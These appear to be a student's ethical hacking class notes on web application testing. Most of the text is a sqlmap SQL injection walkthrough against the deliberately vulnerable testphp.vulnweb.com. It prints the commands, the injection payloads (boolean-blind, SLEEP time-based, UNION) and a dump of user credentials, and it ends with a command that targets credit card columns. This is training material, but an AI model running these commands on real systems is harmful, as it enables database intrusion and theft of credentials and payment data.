Class: 13 (09 Nov 2024)

System Hacking

1. Ethical Hacking/Security Assessment
   a. Network Infar's → IP based
   b. Web App+ API
   c. Mobile App
   d. Wireless Network

Crewing (link/page→ test every page) → http://testphp.vulnweb.com/ (web for any testing purpose)

https://owasp.org/

https://www.sans.org/top25-software-errors/

Burp suite → Intercepting Proxy

Web site for web-bug find:

https://www.bugcrowd.com/

https://www.synack.com/

https://www.hackerone.com/

https://yogosha.com/

In bruit suite:

2. Sniper attack →

Broken Access → like subscriber can access all and free user can access limited facility

IDOR vulnerability→ akta peramiter change kore onno id show kora

https://juice-shop.herokuapp.com/#/search

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs –batch

File Actions Edit View Help

```
query SLEEP)' injectable
[04:07:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:07:20] [INFO] automatically extending ranges for UNION query injection technique tests as
there is at least one other (potential) technique found
[04:07:21] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time neede
d to find the right number of query columns. Automatically extending the range for current UNI
ON query injection technique test
[04:07:22] [INFO] target URL appears to have 3 columns in query
[04:07:25] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' inj
ectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 56 HTTP(s) requests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 7681=7681

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 3398 FROM (SELECT(SLEEP(5)))qMUm)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-5941 UNION ALL SELECT NULL,CONCAT(0×716a6b7171,0×464a55615946737a584f4469
4f4277635a735053797153676d44647379467a7251527a7443574473,0×71716a7a71),NULL-- -
---
[04:07:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ≥ 5.0.12
[04:07:28] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[04:07:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/te
stphp.vulnweb.com'
```

┌──(root㉿kali)-[~]

└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables --batch

2

```
┌──(root㉿kali)-[~]
└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables --batch
            ___
       __H__
     ___ ___[']_____ ___ ___  {1.8.9#stable}
    |_ -| . [(]     | .'| . |
    |___|_  [.]_|_|_|__,|  _|
          |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is il
legal. It is the end user's responsibility to obey all applicable local, state and federal law
s. Developers assume no liability and are not responsible for any misuse or damage caused by t
his program

[*] starting @ 04:09:13 /2024-11-09/

[04:09:13] [INFO] resuming back-end DBMS 'mysql'
[04:09:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 7681=7681

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 3398 FROM (SELECT(SLEEP(5)))qMUm)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-5941 UNION ALL SELECT NULL,CONCAT(0×716a6b7171,0×464a55615946737a584f4469
4f4277635a735053797153676d44647379467a7251527a7443574473,0×71716a7a71),NULL-- -
---
[04:09:13] [INFO] the back-end DBMS is MySQL
```

┌──(root㉿kali)-[~]

└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns –batch

```
┌──(root㉿kali)-[~]
└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns --batch
                        H
         ___    [']       _____    _____
        |_  -| . [']      |  .'|  .|
        |___| [(]    |   |___|,|  _|
             |_|v...           |_|    https://sqlmap.org      {1.8.9#stable}

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is il
legal. It is the end user's responsibility to obey all applicable local, state and federal law
s. Developers assume no liability and are not responsible for any misuse or damage caused by t
his program

[*] starting @ 04:11:15 /2024-11-09/

[04:11:15] [INFO] resuming back-end DBMS 'mysql'
[04:11:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 7681=7681

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 3398 FROM (SELECT(SLEEP(5)))qMUm)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-5941 UNION ALL SELECT NULL,CONCAT(0×716a6b7171,0×464a55615946737a584f4469
4f4277635a735053797153676d44647379467a7251527a7443574473,0×71716a7a71),NULL-- -
---
[04:11:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
```

┌──(root㉿kali)-[~]

└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname,pass –dump

File Actions Edit View Help

```
┌──(root㉿kali)-[~]
└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname,pass
  --dump
```

```
         ___
        __H__
  ___ ___[,]_____ ___ ___  {1.8.9#stable}
 |_ -| . [,]     | .'| . |
 |___|_  [,]_|_|_|__,|  _|
       |_|V...       |_|   https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is il
legal. It is the end user's responsibility to obey all applicable local, state and federal law
s. Developers assume no liability and are not responsible for any misuse or damage caused by t
his program

[*] starting @ 04:12:52 /2024-11-09/

[04:12:53] [INFO] resuming back-end DBMS 'mysql'
[04:12:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 7681=7681

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 3398 FROM (SELECT(SLEEP(5)))qMUm)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-5941 UNION ALL SELECT NULL,CONCAT(0×716a6b7171,0×464a55615946737a584f4469
4f4277635a735053797153676d44647379467a7251527a7443574473,0×71716a7a71),NULL-- -
---
[04:12:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL ≥ 5.0.12

```
[04:12:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6
back-end DBMS: MySQL >= 5.0.12
[04:12:53] [INFO] fetching entries of column(s) '
uart'
Database: acuart
Table: users
[1 entry]
+--------+------+
| uname  | pass |
+--------+------+
| test   | test |
+--------+------+

[04:12:53] [INFO] table 'acuart.users' dumped to
stphp.vulnweb.com/dump/acuart/users.csv'
[04:12:53] [INFO] fetched data logged to text fil
stphp.vulnweb.com'

[*] ending @ 04:12:53 /2024-11-09/


┌──(root💀kali)-[~]
└─#
```

┌──(root💀kali)-[~]

└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C address,cc -
-dump